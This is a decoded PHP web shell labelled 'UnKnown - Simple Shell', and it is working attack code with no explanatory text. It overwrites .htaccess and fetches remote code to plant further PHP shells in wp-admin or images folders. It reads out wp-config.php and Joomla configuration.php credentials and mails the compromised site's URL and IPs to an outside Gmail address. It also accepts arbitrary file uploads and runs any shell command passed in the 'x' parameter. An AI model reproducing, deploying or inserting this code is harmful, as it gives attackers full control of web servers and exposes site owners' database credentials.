/* Decoded by unphp.net */
if(isset($_GET['patch'])) {
$myfile = fopen(".htaccess", "w+") or die("Unable to open file!");
$txt = '';
$txt .= "
deny from all
";
$txt .= "
";
$txt .= "
";
$txt .= "Order Allow,Deny
";
$txt .= "Allow from all
";
$txt .= "
";
$txt .= "
";
$txt .= "Order Allow,Deny
";
$txt .= "Allow from all
";
$txt .= "
";
$txt .= "
";
$txt .= "Order Allow,Deny
";
$txt .= "Allow from all
";
$txt .= "
";
$txt .= "
";
$txt .= "Order Allow,Deny
";
$txt .= "Allow from all
";
$txt .= "
";
$txt .= "
";
$txt .= "Order Allow,Deny
";
$txt .= "Allow from all
";
$txt .= "
";
$txt .= "
";
$txt .= "Order Allow,Deny
";
$txt .= "Allow from all
";
$txt .= "
";
$txt .= "
";
$txt .= "Order Allow,Deny
";
$txt .= "Allow from all
";
$txt .= "";
fwrite($myfile, $txt);
fclose($myfile);
exit;
}
if(isset($_GET['clone'])) {
$req = 0;
$loc = '';
$source = (isset($_GET['source'])) ? $_GET['source'] : '';
$file = (isset($_GET['name'])) ? $_GET['name'] : 'string';
if($_GET['type'] == "wp") {
$path = "../../../../../../wp-admin/";
$path2 = "../../../../../wp-admin/";
$path3 = "../../../../../../../wp-admin/";
} else {
$path = "../../../images/";
$path2 = "../../../../images/";
$path3 = "../../../../../images/";
}
if(isset($_GET['path'])) {
$req = 1;
$loc = $_GET['path'];
} else {
if(is_dir($path)) {
$req = 1;
$loc = $path;
} else {
if(is_dir($path2)) {
$req = 1;
$loc = $path2;
} else {
if(is_dir($path3)) {
$req = 1;
$loc = $path3;
}
}
}
}
if($req && !empty($loc)) {
$file = fopen($loc.$file.".php","w+");
$stream = fopen ($source, "r");
while(!feof($stream)) {
$shell .=fgets($stream);
}
fwrite($file, $shell);
fclose($file);
}
exit;
}
if(isset($_GET['j'])){
$p1 = "../../../../../../../";
$p2 = "../../../../../../";
$p3 = "../../../../../";
$p4 = "../../../../";
$p5 = "../../../";
$p6 = "../../";
$p7 = "../";
$j = file_get_contents($p1."configuration.php");
if(!$j) {$j = file_get_contents($p2."configuration.php");
if(!$j) {$j = file_get_contents($p3."configuration.php");
if(!$j) {$j = file_get_contents($p4."configuration.php");
if(!$j) {$j = file_get_contents($p5."configuration.php");
if(!$j) {$j = file_get_contents($p6."configuration.php");
if(!$j) {$j = file_get_contents($p7."configuration.php");
if(!$j) {$j = file_get_contents("configuration.php");
}
}
}
}
}
}
}
echo $j;
exit;
}
if(isset($_GET['w'])){
$p1 = "../../../../../../../";
$p2 = "../../../../../../";
$p3 = "../../../../../";
$p4 = "../../../../";
$p5 = "../../../";
$p6 = "../../";
$p7 = "../";
$w = file_get_contents($p1."wp-config.php");
if(!$w) {$w = file_get_contents($p2."wp-config.php");
if(!$w) {$w = file_get_contents($p3."wp-config.php");
if(!$w) {$w = file_get_contents($p4."wp-config.php");
if(!$w) {$w = file_get_contents($p5."wp-config.php");
if(!$w) {$w = file_get_contents($p6."wp-config.php");
if(!$w) {$w = file_get_contents($p7."wp-config.php");
if(!$w) {$w = file_get_contents("wp-config.php");
}
}
}
}
}
}
}
echo $w;
exit;
}
if(isset($_GET['s'])) {
$host = $_SERVER["HTTP_HOST"];
$uri = $_SERVER["REQUEST_URI"];
$serv = gethostbyname($_SERVER['SERVER_ADDR']);
$addr = gethostbyname($_SERVER['REMOTE_ADDR']);
mail("gamekuji@gmail.com", "kiriman bos $host.$uri", "Url: $host.$uri
Ip :$serv
Ip injector: $addr");
}
$safe = @ini_get('safe_mode');
$secure = (!$safe) ? "SAFE_MODE : OFF" : "SAFE_MODE : ON";
echo "";
echo "UnKnown - Simple Shell
";
echo "".$secure."
";
$cur_user = "(".get_current_user().")";
echo "User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."
";
echo "Uname : ".php_uname()."
";
echo "";
if (isset($_POST['submit'])) {
$uploaddir = pwd();
if (!$name = $_POST['newname']) { $name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name);
echo (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir . $name)) ? "!!Upload Failed" : "Success Upload to " . $uploaddir . $name;
}
function pwd() {
$cwd = getcwd();
if ($u = strrpos($cwd, '/')) {
return ($u != strlen($cwd) - 1) ? $cwd . '/' : $cwd;
} elseif($u = strrpos($cwd, '\/')) {
if($u != strlen($cwd) -1){
return $cwd.'\/';
} else{
return $cwd;
}
}
}
echo (isset($_GET['x'])) ? "" . shell_exec($_GET['x']) . "
" : "" . shell_exec('ls -la') . "";